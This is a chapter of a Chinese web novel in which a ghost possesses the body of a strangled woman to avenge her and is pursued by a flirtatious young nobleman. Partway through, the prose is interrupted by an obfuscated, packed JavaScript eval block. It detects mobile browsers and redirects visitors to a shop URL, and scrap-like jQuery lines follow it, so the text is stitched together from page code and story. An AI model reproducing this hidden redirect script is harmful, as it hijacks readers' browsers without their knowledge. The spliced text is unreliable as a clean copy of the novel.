9. 金灼

作品:《流火烛影

    明月当空,金灼正直春日,可城外却寂寥荒无。


    “小烛,你好乖啊。”


    流火一面往前走,一面抚摸着那只缩小的老虎,他的淡金色毛发柔顺,如同刚出生几天的老虎幼崽,只会嘤嘤地叫。


    她悄声说道:“好可爱,更像你了。”


    听到这话,烛影不自禁握紧剑柄:“施雪还未到。”


    流火暗想着,施雪原来也是鬼魂,但是虎妖之中几乎没有人知道。


    “这次她一起来,岂不是会被发现?”她问。


    烛影轻声回答:“在满溪居里,由公子听照看。”


    流火没多问,转而打量着金灼边际的景致。


    现在已经成为了金灼城,看样子是分为了城内,城外。


    城外并不如公子听回忆中的那般:郁郁葱葱的森林,绿油油的草地,时而有昆虫蝴蝶相伴。


    他还说之前有一只蝴蝶修成了人形,公子听被驱赶之前,那只名唤叶光的蝴蝶曾说会一直等着他。


    现在城外布满黄沙,尘土飞扬,此刻还未到城内,却也清楚狮妖领导的金灼原并不理想。


    远处一抹淡紫色款款而来,是施雪的鬼魂。


    流火看着她走近,下意识抓了一把,却扑了个空?奇怪,为何都是鬼魂,却只有烛影可以有实体?


    施雪干笑几声,说道:“我是凡人的魂魄,一般人是看不见的,没想到流火你能瞧到?”


    流火颔首道:“我想应该是凡人不可见,我不是妖么。”


    施雪了然,认真地望着烛影说道:“这次我会去复仇,但你们是探路的,我们分开就行。”


    烛影声音淡淡:“嗯。”


    流火微微蹙眉,可她一个人如何复仇,为什么不一起呢?她笑吟吟地说:“施雪我们一起走。”


    “不了,流火,我如今随便附在一人身上,死了不过再来一次,反正已经是鬼魂了。”


    施雪不急不缓地继续说,“你怕不知道吧,我尚在人世的那段日子,城中的人大多对你这类美貌的妖又争又抢,水妖是以绝色的容貌闻名,你们虽然是妖,但大多体质柔弱,性格更是软弱,所以你千万要小心。”


    话音方落,施雪未做留恋,先一步往城门飘去。


    若说是找一具合格的尸体,自然是壮硕的男子最佳,她来到了乱葬岗,一眼望去,横七竖八几具死尸。


    这里没有活人,然而这个想法刚出,霍然耳闻一位女人在一具男人的尸体前涕泗横流。


    那尸体还未腐烂,看样子身长有八尺,施雪想着等女人走后,再做打算。


    她飘在树上,那女子迟迟未走,但施雪耐心十足——


    “啊”的一声短促的尖叫,她诧异地望过去,适才那个泪流满面的女子,被“死尸”掐住了?!


    诈尸?


    不对,那个八尺男儿,他没死!


    施雪陡然一震,迅疾移动过去,慌张地竟是忘记自己是鬼魂,无人看见,也碰不到任何事物。


    女子很快没气。


    刹那间,她心如刀绞,刚刚还在哭泣的人,不过眨眼功夫,就这么悲惨地被掐死在眼前,而同样身为女子的施雪,却无法施以援手!


    “平乐,不要怨我,要怪就只能怪你傻,喜欢一个无权无势的男人。”


    周围寂静了下来,那男子草率离去。


    女子被掐住脖子时面容扭曲惨白,加上方才哭得泪眼,死去后她痛苦的面色仍然持续着。


    那尚未掉落的泪水,一滴一滴打在乱葬岗苍黄的枯草之上,悄无声息……


    那一刻施雪心中的痛苦就如被生生拨去指甲,那般难以忍受。


    彼时士兵为了检验他们是否在装死,便开始挑去指甲盖,身为公主的她哪里受得了这般剧痛,自然露了馅。


    最后,她打算为这个素不相识的女子复仇,即使她是柔弱的,力气不如男人,也不强壮。


    但难道复仇就只能靠武力?


    天亮时,施雪迅速找了一块粗布,简单修理做成了面纱,原来平乐容貌清冷,长相微微带些英气,自然肤色。


    这般英容相貌,昨夜却泪眼婆娑,她不由得长长叹息一声。


    金灼城内,妖与人分界很明显,施雪的国破家亡与妖族无关,于是径直步入为凡人划分的区域。


    繁华的人间街道,治理地井井有条,看来这里的民众过得有滋有味,个个脸上含笑,远处女人们在河畔一面嗑着瓜子,一面谈天说地,男子们谈吐文雅,小孩肆意撒欢。


    醉仙楼。


    施雪望见这个酒楼时,往日回忆越来越清晰,之前她可是这里的常客,没想到这个酒楼没有被查封,依旧经营着,往来的人络绎不绝,言笑晏晏。


    “平乐回来了吗?”


    手中握着浅蓝折扇的男子,长相清秀颇有少年的稚气,皮肤白皙,唇形有致。


    不过施雪注意到他,可不是因为他出众的外貌,而是他口中所道的人,正是前日被掐死的平乐。


    而自己现在正用着她的身体招摇撞市。


    小厮轻声回答:“平乐心中丝毫没有你,云深公子何必惦记着。”


    “诶……你这话说得。”云深懒洋洋地笑了笑,语气很轻巧,“喜欢是一个人的独角戏,而且我可从没说过自己喜欢平乐……”


    施雪冷笑一声,云深仿若听见了她嘲讽的笑声。


    回头望向她,云深低低啊了一下,似惊叹,似疑惑。


    他猛然起身,笑吟吟地走过去:“平乐?是……你啊!”


    她点了点头,他走近,施雪细致一看,还真是个倾国倾城的外貌呢……


    云深的嘴角微微抽动了一下,似笑非笑:“你……从不会来找我。”


    施雪不禁奇怪,既然是暗恋者,那平常应该只敢躲在角落悄悄偷看,大致是不能看清出她全貌,而且今天面上有粗布遮着,云深是如何一眼瞥见,就敢确认的?


    “我有说过,是来找你的?”施雪淡淡反问。


    “诶呀!”那小厮——诚失感叹地看着她,冷不丁又说,“云深公子刚刚才说到姑娘,现在你心尖上的人就来了?”


    诚失啧啧笑着,没料到平日十分规矩克制的云深公子,冷不防,异常轻浮地摸了摸平乐的脸颊,还一把将她揽入怀中,他不由得再度感慨……这平乐也不说挣扎一下,就一动不动地这么被他紧紧抱着。


    然而,不等诚失眨眼,优雅如云深的公子却被狠狠地推倒在地上——


    他几度笑出声,看来平乐真的一点……都不喜欢云深。


    诚失默默叹气,云深公子人见人爱,金灼的姑娘家恨不得贴在他身上,不仅如此,令狐府中的小姐个个都对云深公子爱不释手,只有令狐平乐不喜欢他那张小白脸。


    前不久听说令狐平乐的未婚夫惨死在城外?


    现下看来,平乐也没有多么深爱那……一近身便能闻到满是酸涩汗水味的壮汉?


    诶,女人都是这般变幻无常。


    壮汉叫做什么来着……谢世名?


    “真是不守规矩。”施雪冷淡地说道,然而再次令诚失心头一震,又是一震的却是:云深公子狼狈爬起来后,漫不经心地拍了拍衣摆,定定地望着平乐,眸光深刻。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068812|195188||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下一刻,毫无预兆地——


    再度轻佻地抓住平乐的小臂,犹如脱缰的野马,带着她冲出了醉仙楼!?


    诚失了然一叹,看来自家公子是琢磨出了如何追求平乐的法子,才如此得不由分说。


    施雪冷不防被云深牵着跑了一路,前面的公子青丝如瀑,她好久都没有这么享受过男子的温暖怀抱。


    被他这么紧紧拉着手臂,就像私奔。


    她倒有些怀念起曾经,府上都是俊美门客的悠然时光。


    索性瞧瞧云深卖的什么药。


    前面的男人忽地停下来,施雪来不及刹住,一头撞向了他的后背,他呻吟般的啊了一声,一把扶住她的脑袋,温柔地摸了摸。


    施雪被他这么轻轻地揉着,募地心神震荡,抬起眼,两双眼眸相对,云深白皙如雪的脸上浮现出深思的神情,但却嘿嘿一笑:“怎的不见你未婚夫?”


    施雪想了想:“他不是死了?”


    “看来我终究是没有赢过他,谢世名去世后,你才会正眼瞧我。”


    她微微眯起眼,云深他眼波温柔如水,脸型流畅,与那掐死平乐的男子是完全不一样的类型。


    偏偏,施雪从小到大最欣赏的就是云深这样温润如玉的男人。


    他大胆轻佻,手段倒是新鲜。


    奇怪的是,施雪是可以继承平乐的记忆。


    令狐平乐回忆中的云深公子并不轻浮,难道是听闻谢世名去世,才大着胆子来找她?


    云深自顾自地走进令狐府邸,虽然是清秀那挂的,但身形却很挺拔,身高看上去丝毫不比谢世名逊色。


    “云公子来了!”


    淡淡的阳光下,二小姐令狐墨洋兴冲冲地迎上去,轻声问候,“可是来吃茶听曲?”


    云深笑道:“呃……不是,是将平乐送回来。”


    “平乐?”墨洋这才注意到后面的令狐平乐,下意识惊呼,“你回来了?!”


    谢世名竟然没把她弄死。


    不可能,他不是跟母亲汇报过已经死透了吗!


    云深不阴不阳地说道:“这么惊讶?平时你也没有很关心平乐。”


    “不可能!”墨洋阴狠地瞪着她。


    施雪缓缓上前,淡淡问:“什么不可能?”


    然而一股浓浓的酒味从扑面而来,竟是平乐的未婚夫。


    她泰然地站定,似笑非笑地望着谢世名,前夜一手掐死了平乐,今日就醉酒不省人事?


    他一下子从迷糊中清醒过来,满目惶恐,那张脸霎时惨白。


    施雪正欲上前一步,却被云深拦住,他的速度很快,以至于头发凌乱。


    云深一面将头发甩至背后,一面呵斥道:“这小子竟然还活着!你可别跟我抢平乐!”


    “平乐,我们走!”他回头笑着说,眼神却深深难测。


    ***


    “你很怕我的未婚夫?”她问道,看着水中慵懒的云深。


    云深笑而不语,不知他在沉吟些什么,施雪继续问:“你很奇怪,与之前完全不一样。”


    他神色肃然,奇道:“哦?你记得我?”


    “我当然知道你,”她继续说,“以前你从来不会如此轻浮。”


    冷不防,云深低声问:“谢世名是不是对你做了些什么?”


    施雪冷笑:“那你带我来浴池,看你沐浴是想作甚?”


    他周身白色雾气萦绕不休,云深看样子是不打算理会她,怡然自得地在池中喝茶。


    “你来不来?”云深说着,毫不尴尬、害羞,语气懒洋洋的,“一身乱葬岗的尸臭,也不洗一洗。”